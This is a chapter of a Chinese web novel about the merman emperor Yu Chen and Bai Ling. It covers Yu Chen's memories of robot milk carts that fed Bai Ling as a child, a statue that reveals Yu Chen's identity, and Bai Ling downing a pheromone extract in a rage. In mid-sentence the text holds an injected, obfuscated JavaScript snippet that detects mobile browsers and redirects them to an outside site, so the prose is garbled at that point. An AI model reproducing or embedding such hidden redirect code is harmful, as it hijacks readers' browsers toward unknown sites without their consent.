然而刚走出门,报名处那边来了通讯,说白翎提交的体检表数据太糟糕,不建议他参加比赛。 白翎冷冷问:“如果我一定要去呢?” 报名处为难地说:“那只能由您alpha监护人的亲自前来,在本处签署《责任自负同意书》。并且……” “截止日期,是明天上午九点。” 25. 人鱼的宝贝 一小时前,郁沉收到乌利尔的消息: “小白毛缺少监护人同意书,可能没办法参加比赛了。” 郁沉漫不经心转着戒指,问:“哦?他怎么说?” 乌利尔犹豫道:“他说……会换个监护人,不论谁都可以,大街上临时找一个就行。” 郁沉垂下无焦点的眸子,眼底洇起暗澜,缓慢道:“他人呢?让他过来和我说。” 乌利尔脊背莫名颤栗,下意识弯腰行礼:“他已经走了,您需要我派人叫他回来吗?” “不用了。” 乌利尔愣了下,没料到他的回答这么果断。 “让他走吧。”郁沉默然一会,挂断了通讯。 他缓步走下台阶,肌理分明的长腿没入冰冷池水,明暗交界的光线给他的五官笼上一层阴翳。 不论谁都可以…… 他反复嚼磨着这几个字。 宁可去大街上捡劣质货,也不愿意回来跟他张个口。 倔脾气的流浪野狗,想跟在别人脚边乞食……真该把人抓回来按到池子里,狠狠清洗干净,从里到外,喂到干呕为止—— 门口冒出两点红光,AI悄无声息滑进来:“您有吩咐?” 郁沉思绪被打断,嗓音冷淡,在浴池高耸的穹顶回响: “取我的血,制作信息素提取液。” “您稍等,我去楼上取针管和量筒下来。” AI走后,这里重新陷入一片死寂。 人鱼向后靠在大理石池壁,起伏精健的腰背抵着破碎的冰渣,池水很冷,在没有开加热棒的情况下结了一层薄薄的冰。 他习惯用低温刺激大脑清醒。 但这一次,他心里的躁郁没有减轻半分。 刚才的情绪,很不对劲…… 他似乎对长久以来守护的东西,发酵出了变质的感情—— 这三天里,郁沉反复做着同一个梦。 人们对伊苏帕莱索的厌恶,并非全无道理。 他的控制欲强得恐怖。 人鱼的脑波可以融入网络信号,当他从18岁登基开始,发现自己坐在寝宫就能严密监视整个帝国,野心便膨胀得无边无际。 大地化为他的身体,摄像头变成他的眼睛。 伊苏帕莱索无处不在。 于是,他窥见了许多不堪的事实。在社会的缝隙里,仍旧污水横流,连拨给学生买牛奶的款项,都能被官僚层层剥削,吞噬干净。 那时候的皇帝很年轻,还有一些天真和直莽。 他信不过那些人,就自己连接机器人去发牛奶。 奶车驶过每一座城市,滑过每一条小巷,没有人比他更了解自己的国家,他这么干了九十年。 他亲爱的孩子们,为着他们,他可以日以继夜地工作。 人鱼把自己当成精密运作的机器,不过,他的人生中,也出现过bug…… 可爱小bug。 月底核算账目时,总是对不上账,某个固定时间段会多发几份奶。人鱼怀疑程序出了问题,便沉入意识观察。 机器人:“我确信你早上来过三次了,戴着同一条围巾。” 幼鸟:“我只有一条围巾,所以我换了三种不同的系法。” 机器人:“可是我认出你了。” 幼鸟脱下外套顶在头上:“这样还认得出吗?” 机器人:“认不出了,你要多少奶?” 就这样,被一只灰绒团子幼鸟,卡了bug。 人鱼置之一笑,纵容了这种错率。 他喜欢这些小鸟们,奶车放的歌也是他亲自编写。像是街边卖冰淇淋的小车,吸引放学的雀雀,幼鸟们一听到,就会背着书包飞快跑过来,期待地趴在他的窗口,仿佛翘起了尾羽。 那是比往广场上撒面包糠被鸽子群围住,还愉快的滋味。 直到某一天…… 有人发帖义愤填膺,说自己好奇就拆开一架机器人,发现里面有监视程序。紧接着,成群结队的人,整天在街上拦着孩子们,让把领到的牛奶丢掉,口口声声牛奶里放了激素,会让孩子提前发育。 家长们人心惶惶,不敢再让孩子们靠近奶车。 只有bug幼鸟,每天准时去奶站报道。 “什么?可以快快长大?再给我来一碗。”幼鸟一小只干三大碗,还会昂着头问: “你明天还会来吗?” 机器人:“宝贝晚安,不见不散。” 到了每年的感恩节,按照鸟界习俗,没成年的幼鸟会给父母跳求奶舞,表示感激和亲近。 幼鸟很害羞,躲在大树后面偷偷朝他跳。 机器人:“你为什么不过来?” 幼鸟低着小脑袋,不肯过去:“我跳得不标准。” 机器人:“这有什么关系?” 幼鸟抿起嘴唇,一下一下踢着树下的小石子:“……皇帝在监视我们,对吗?我跳得不太好,他看到了会不会介意啊。” 机器人似乎停摆了一秒,忽然换上和以往都不同的低醇音调: “不会,我很喜欢,谢谢宝贝。” 幼鸟一下子抬起头,杏眼里有了光:“感、感恩节快乐!” 结结巴巴说完,一溜烟跑了。 把奶车当成父母,是很令人心疼的事。人鱼调整了程序,让bug小鸟可以无限次喝到牛奶,领到糖果。 每到傍晚,幼鸟都会背着小书包,追着奶车跑。 每停一站,每喝一杯牛奶,机器人都会不厌其烦地说:“宝贝晚安”。 晚安,晚安,宝贝晚安…… 幼鸟反复去听这句话,听好了,他才抹抹眼泪,默默踩着夜色回去。 有时候也会忍不住眨着泪花,转头又跑回去问:“你明天还会来吗?一定要来啊。” 希望你来,希望明天还能见到您。 就是这样的约定,让人鱼枯泽的心又跳动起来。 那时候帝国已然日落西山,财政匮乏,政界联手向皇帝施压要求砍掉每日庞大的牛奶开支。 “根本没有人去奶站喝奶,陛下别执迷不悟,没有人在乎的。” 可是人鱼知道,有一只小鸟在乎,他亲爱的小bug,每天都用纸巾帮他擦干净脏污的车窗,向他确认一遍约定。 ——哪怕只有一只幼鸟在乎,我都会继续做下去。 人鱼如他们所愿,取消这项庞大的财政支出,转而用自己的私人资金,继续坚持了五年。 一天天,一年年。 我与幼鸟,犹如在时代的尾声,相互等待的人。 宝贝晚安,宝贝…… 再见。 · 雪花落在他肩头的铜扣,渐渐聚成一小窝,白翎穿过广场,不由自主在这里放慢脚步。 这是童年的幼鸟,唯一会被喂饱饭的地方。 之后多年,他经常流连于这座广场上,可是再也找不回当年那种幸福的饱腹感…… 白翎不自觉走到广场中央,抬头仰望着左手提灯,右手持剑挥指的巨型雕塑。 奶车经常停在这座雕塑脚下。 有时候,他会嘲讽自己对这些玩意的条件反射。看到雕塑想到奶,看到奶就想起曾经被爱过,巴普洛夫的鸟似的…… “它很美,不是吗?” 一道苍老的声音在身旁响起。 白翎转过身,以他的身高得视线稍微下移,才看到一位头发花白,腰椎佝偻的老人。 老人朝他微笑时,皱纹拥挤在唇边:“很少有年轻人会停下来仔细观望雕塑,他们大多数会匆匆走掉。” 白翎看他衣着朴素却干净,不像是流浪者,再瞥见他手里抱着的募捐箱,顿时了然。 应该是雕像的管理员。 老管理员提议道:“如果你愿意请我喝一杯2星币的热咖啡,我可以给你讲讲这雕塑的故事。” 白翎怔忪了下,正要说什么,老管理员似乎怕他拒绝,又赶紧低声补充: “不是非要喝,哈哈,我只是想找人说说话。” 白翎清浅笑了笑,请他去广场边上的小咖啡馆。老管理员却执意不肯坐下,点了最便宜的咖啡,端着泡沫纸杯,眼眶被北风吹得通红: “我们去雕塑脚下坐,那里有块背风的拐角,也很暖和。” 白翎当然知道那里。 他上辈子在广场流浪时,就在那儿的拐角窝窝搭了个小小的帐篷,在雕塑的钢铁衣袍底下遮风避雨。 白翎曾经猜想过,这种三面围挡的设计是不是有意为之,就像给树梢挂人工鸟巢,给流浪狗出没的地方放纸箱。 “当然,”老管理员兴致高昂地讲着,“设计的时候就有考虑到这一点,路人避雨啊,小动物过冬之类的。别看它现在灰扑扑的,被酸雨侵蚀得看不清脸,以前可是首都星的地标呢。” 不过这座雕塑确实很有来头。 它名为《Motherland》,可以叫它故土,或者祖国母亲,或者用那些经常在雕塑上涂涂画画的街溜子的称呼,叫它“伪神”。 由于是老帝国纪念的献礼,它曾被载入史册。 从建造起,雕塑上一直点着长明灯,即便在大停电时期,它也有单独的供电系统,且只有在这时候,它才会成为整个首都的聚焦。 白翎被勾起了些许回忆,淡淡笑着说: “它确实很大,周围装了许多射灯,在夜里看起来总是亮堂堂的。我小时候总会把它当做灯塔,晚上玩得太晚,回去的时候天黑害怕,但感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|11859729|126372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只要一路屏住呼吸跑到雕像下面,就安全了。” 但这座雕塑,在他发起革命的第二年,就被暴君炸毁了。 那是白翎第一次切身体会到战争杀死他家人的感觉。 “年轻人,你是首都人?”管理员忽然问。 “也不算,我在这里没有房产。”白翎如实道。 老管理员感叹着:“没有家是吗,我也没有,我打算看着雕塑老死得了……” 他举起泡沫杯,一饮而尽,随即捏碎了杯子扔到满溢的垃圾堆上,脸上有些坚毅,又仿佛喝醉似的酡红,说道: “为感谢你的咖啡,我想告诉你一个小秘密,关于这雕塑的原型是谁。” 白翎心头莫名一颤,心跳突然开始加快,“是谁?” 老管理员背着风,粗糙的手指拢到嘴边,放低声音:“是老皇帝,知道么?伊苏帕莱索……我年轻时候见过他一面,惊为天人啊,跪在地上的时候就只抬头看了一眼,五十年了,这辈子到老都忘不掉。” “后来我疯疯癫癫了一整年,人家都传是老皇帝太丑,我被吓着了。” “其实啊,我是因为陛下的气势和美——” 白翎忽然颤着声说:“请别再说了!” 他的睫毛微微颤动,牙尖死死咬住下唇,咬得失血苍白:“……不好意思,我还有事要处理,先走了。” 管理员惊讶地望着白翎远去。 白翎把下半张脸埋进衣领里,甚至不敢回头望一眼雕塑的侧脸。 因为…… 那实在是太过熟悉的轮廓。 熟悉到他根本没有意识到,自己一直以来的依恋,眷念,热望,都从此而来,又回归而去。 提灯的雕塑。 提灯的人鱼。 从初见的熟悉感,再到分化夜的失态,还有他对那人仿佛沉淀多年的依赖感……全都是从他儿时绵延至今的投射。 原来,旧时代的光阴从未逝去,一直行走在他身边。 白翎垂在身侧的手指攥紧,像是胸口破了大洞,抬起满是血丝的眼睛,声嘶力竭大喊: “——伊苏帕莱索!” · “您的alpha超浓醇信息素已经提取完毕了。按照您的要求,做足了半年的量,超浓缩倍率,只要一滴就够缓解一个星期的omega成瘾反应。” AI一边展示给主人展示自己优秀的提纯技术,一边暗戳戳咋舌。 主人不愧是主人,和仿真小鸟玩游戏,道具都准备这么齐全。 ——沉浸式养鸟。 为此,AI也相应准备了一份高逼真使用说明书,翻开读道: “需要提起注意的是,该浓缩液一定,禁止,坚决不可以和人工A性素混用,否则就会,噗噜噜噜噜噜——产生一整包曼妥思扔进可乐里的喷发效果哦。” 正巧,机械小鸟本人也上门了。 AI高兴地去开门,却摄像头一花,对方第一次没有和它打招呼,而是眼眶血红气息激烈地越过它大步闯进去。 AI自带的警报器哔哔作响,赶紧滑着小短轮跟上去。 机械小鸟人长得高挑,腿也很长,AI根本追不上。只能看见机械鸟一把猛得推开浴池沉重的大门,站在门边,整个人脊背绷得笔直,胸膛剧烈起伏,不断压抑地喘着粗气。 仿佛拉紧了一根弦,随时会崩溃。 郁沉闻到他身上似有若无的酸涩信息素,转过淡寡如水的眼眸,“你来得正好,应对你成瘾的提取液已经准备好了,是足够你用半年的量。” AI适时把满满当当的透明试管递上去。 “半年的量……”白翎在激喘间溢出一丝嘶哑,像是质问,更像在颤声冷笑:“……打发流浪狗走之前得把饭盆装满,是吧?” 郁沉敏锐察觉到他情绪反常,正要询问—— 白翎一把夺过试管,当着郁沉的面,昂头一口全竖了,一滴不剩。 接着,他抬头对郁沉磨牙冷笑,拿了一颗人工A性素塞进颤抖的牙间。 AI直接傻了:“……他都喝了!!一口闷啊!还吃A性素!” 郁沉震惊失色,瞬间从池子里站起来,根本没料到他的小鸟能这么疯! 给提取液是为了戒断。 小鸟反向操作,直接十倍加重成瘾。 白翎脖颈突起淡青色的脉络,下颌线条绷得要断了似的,他把玻璃管狠狠摔到地上,义肢踏上去碾得粉碎! 他被愤怒与悲怆逼得浑身发抖,声音却冷酷到可怕:“我不会放过你的,今晚你也别放过我,看看明早谁能走出这道门!” 说完,白翎一脚踹锁了门。 我与我毁灭的故国…… 今晚要在这里拼个你死我活!